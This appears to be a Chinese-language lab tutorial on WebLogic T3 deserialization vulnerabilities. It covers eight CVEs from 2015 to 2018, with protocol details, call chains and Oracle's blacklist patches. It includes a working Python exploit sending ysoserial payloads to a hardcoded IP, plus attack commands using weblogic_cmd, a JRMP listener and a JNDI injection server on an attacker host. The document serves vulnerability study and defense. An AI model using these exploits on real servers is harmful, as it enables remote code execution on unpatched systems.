WebLogic T3协议反序列化漏洞分析与利用指南
1. WebLogic简介
Oracle WebLogic Server是一个统一的可扩展平台,专用于开发、部署和运行Java应用等适用于本地环境和云环境的企业应用。它提供了强健、成熟和可扩展的Java Enterprise Edition (EE)和Jakarta EE实施方式,类似于Tomcat、Jboss等中间件。
安装参考:
- Windows安装教程:https://www.cnblogs.com/xrg-blog/p/12779853.html
- Linux安装教程:https://www.cnblogs.com/vhua/p/weblogic_1.html
默认配置:
- WebLogic登录界面默认端口是7001
- 端口修改位置:
%weblogic%\user_projects\domains\base_domain\config\config.xml
2. WebLogic反序列化漏洞概述
WebLogic中反序列化漏洞主要分为两种:
- 基于T3协议的反序列化漏洞
- 基于XML的反序列化漏洞
本文重点分析基于T3协议的反序列化漏洞,相关CVE包括:
- CVE-2015-4852
- CVE-2016-0638
- CVE-2016-3510
- CVE-2017-3248
- CVE-2018-2628
- CVE-2018-2893
- CVE-2018-3245
- CVE-2018-3191
3. T3协议漏洞分析
3.1 T3协议基础知识
T3协议概述:
- 在RMI通信过程中,WebLogic使用T3协议而非标准的JRMP协议
- 特点:
- 服务端可以持续追踪监控客户端是否存活(心跳机制)
- 通过一次连接可以传输全部数据包
数据交换过程:
- 客户端发送版本号等相关信息
- 服务端返回服务器相关信息
- 客户端发送详细信息
- 服务端再发送详细信息
- T3协议建立,开始数据传递(类似TCP握手过程)
协议结构:
- 请求包头:包含协议版本号、数据包类型等信息
t3 12.2.3 // 协议版本 AS: 255 // 序列化数据容量 HL: 19 // 协议头长度 MS: 10000000 // Maximum Segment Size - 请求体:包含实际的序列化数据,恶意类通常构造在此处
攻击构造:
- 每个T3数据包都包含T3协议头
- 数据包前4个字节标识数据包长度
- 序列化数据头部二进制为
aced0005 - 长度标识后的一个字节标识数据包是请求(01)还是响应(02)
3.2 CVE-2015-4852分析
环境搭建:
使用QAX-A-Team的Weblogic环境:
git clone https://github.com/QAX-A-Team/WeblogicEnvironment
需要下载对应版本的JDK和Weblogic放入项目目录。
构建并运行Docker:
sudo docker build --build-arg JDK_PKG=jdk-7u21-linux-x64.tar.gz --build-arg WEBLOGIC_JAR=wls1036_generic.jar -t weblogic1036jdk7u21 .
sudo docker run -d -p 7001:7001 -p 8453:8453 -p 5556:5556 --name weblogic1036jdk7u21 weblogic1036jdk7u21
漏洞复现:
使用Python EXP:
import socket
import sys
import struct
import re
import subprocess
import binascii
def get_payload1(gadget, command):
JAR_FILE = '../ysoserial-all.jar'
popen = subprocess.Popen(['java', '-jar', JAR_FILE, gadget, command], stdout=subprocess.PIPE)
return popen.stdout.read()
def exp(host, port, payload):
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((host, port))
handshake = "t3 12.2.3\nAS:255\nHL:19\nMS:10000000\n\n".encode()
sock.sendall(handshake)
data = sock.recv(1024)
data_len = binascii.a2b_hex(b"00000000") # 占位
t3header = binascii.a2b_hex(b"016501ffffffffffffffff000000690000ea60000000184e1cac5d00dbae7b5fb5f04d7a1678d3b7d14d11bf136d67027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006")
flag = binascii.a2b_hex(b"fe010000")
payload = data_len + t3header + flag + payload
payload = struct.pack('>I', len(payload)) + payload[4:]
sock.send(payload)
if __name__ == "__main__":
host = "10.140.32.159"
port = 33401
gadget = "Jdk7u21" # 或"CommonsCollections1"
command = "touch /tmp/CVE-2015-4852"
payload = get_payload1(gadget, command)
exp(host, port, payload)
漏洞分析:
关键点在weblogic/rjvm/InboundMsgAbbrev.class的readObject方法:
private Object readObject(MsgAbbrevInputStream var1) throws IOException, ClassNotFoundException {
int var2 = var1.read();
switch(var2) {
case 0:
return (new ServerChannelInputStream(var1)).readObject();
case 1:
return var1.readASCII();
default:
throw new StreamCorruptedException("Unknown typecode: '" + var2 + "'");
}
}
调用链:
InboundMsgAbbrev$ServerChannelInputStream.readObject()ObjectInputStream.readNonProxyDesc()ObjectInputStream.readClassDesc()ObjectInputStream.readClass()ObjectInputStream.readObject0()ObjectInputStream.defaultReadFields()ObjectInputStream.defaultReadObject()AnnotationInvocationHandler.readObject()
修复方案:
在resolveClass方法中增加了黑名单检查:
protected Class resolveClass(ObjectStreamClass descriptor) throws IOException, ClassNotFoundException {
String className = descriptor.getName();
if(className != null && className.length() > 0 && ClassFilter.isBlackListed(className)) {
throw new InvalidClassException("Unauthorized deserialization attempt", descriptor.getName());
}
// ...
}
3.3 CVE-2016-0638分析
绕过补丁的技术:
使用StreamMessageImpl类封装恶意payload,绕过黑名单检查。
漏洞复现:
使用weblogic_cmd工具:
java -jar weblogic_cmd.jar -H "10.140.32.159" -C "touch /tmp/cve-2016-0638" -B -os linux
漏洞分析:
关键点在于StreamMessageImpl.readExternal()方法:
public void readExternal(ObjectInput var1) throws IOException, ClassNotFoundException {
super.readExternal(var1);
byte var2 = var1.readByte();
byte var3 = (byte)(var2 & 127);
if(var3 >= 1 && var3 <= 3) {
switch(var3) {
case 1:
this.payload = (PayloadStream)PayloadFactoryImpl.createPayload((InputStream)var1);
BufferInputStream var4 = this.payload.getInputStream();
ObjectInputStream var5 = new ObjectInputStream(var4);
// 这里会反序列化payload
while(true) {
this.writeObject(var5.readObject());
}
// ...
}
}
}
修复方案:
在StreamMessageImpl.readExternal()中使用FilteringObjectInputStream替代ObjectInputStream,增加了类过滤。
3.4 CVE-2016-3510分析
绕过技术:
使用MarshalledObject类封装恶意payload,利用其readResolve()方法触发反序列化。
漏洞分析:
MarshalledObject.readResolve()方法:
public Object readResolve() throws IOException, ClassNotFoundException {
if(this.objBytes == null) {
return null;
} else {
ByteArrayInputStream var1 = new ByteArrayInputStream(this.objBytes);
ObjectInputStream var2 = new ObjectInputStream(var1);
Object var3 = var2.readObject();
var2.close();
return var3;
}
}
修复方案:
在MarshalledObject.readResolve()中增加黑名单过滤。
3.5 CVE-2017-3248分析
漏洞复现:
- 启动JRMP监听器:
java -cp ysoserial-all.jar ysoserial.exploit.JRMPListener 9999 CommonsCollections1 'touch /tmp/cve-2017-3248'
- 执行攻击:
python cve-2017-3248.py 127.0.0.1 7001 ysoserial-all.jar 127.0.0.1 9999 JRMPClient
漏洞分析:
利用java.rmi.server.RemoteObjectInvocationHandler绕过黑名单,通过JRMP协议触发反序列化。
修复方案:
在resolveProxyClass方法中过滤java.rmi.registry.Registry:
protected Class<?> resolveProxyClass(String[] interfaces) throws IOException, ClassNotFoundException {
for(String intf : interfaces) {
if(intf.equals("java.rmi.registry.Registry")) {
throw new InvalidObjectException("Unauthorized proxy deserialization");
}
}
return super.resolveProxyClass(interfaces);
}
3.6 CVE-2018-2628分析
绕过技术:
- 去除Proxy包装,直接使用
UnicastRef对象 - 使用
java.rmi.activation.Activator接口替代Registry接口
修复方案:
过滤sun.rmi.server.UnicastRef类。
3.7 CVE-2018-2893分析
绕过技术:
结合CVE-2016-0638和CVE-2017-3248的技术,使用StreamMessageImpl封装RemoteObjectInvocationHandler。
修复方案:
将JtaTransactionManager的父类AbstractPlatformTransactionManager加入黑名单。
3.8 CVE-2018-3245分析
绕过技术:
使用RMIConnectionImpl_Stub等RemoteObject子类绕过过滤。
修复方案:
将java.rmi.server.RemoteObject加入黑名单。
3.9 CVE-2018-3191分析
漏洞复现:
- 启动JNDI服务:
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "touch /tmp/cve-2018-3191" -A "192.168.155.90"
- 执行攻击:
python cve-2018-3191.py 127.0.0.1 7001 weblogic-spring-jndi-10.3.6.0.jar rmi://192.168.155.90:1099/ushw72
漏洞分析:
利用JtaTransactionManager的JNDI注入漏洞。
4. 总结
WebLogic T3协议反序列化漏洞的演变过程展示了安全攻防的持续对抗:
- 从最初的直接反序列化漏洞(CVE-2015-4852)
- 到使用各种封装类绕过黑名单(StreamMessageImpl、MarshalledObject)
- 再到结合JRMP协议和JNDI注入
防御方不断扩展黑名单,攻击方则不断寻找新的可利用类和绕过方式。理解这些漏洞的原理和演变过程,有助于更好地防御类似的安全威胁。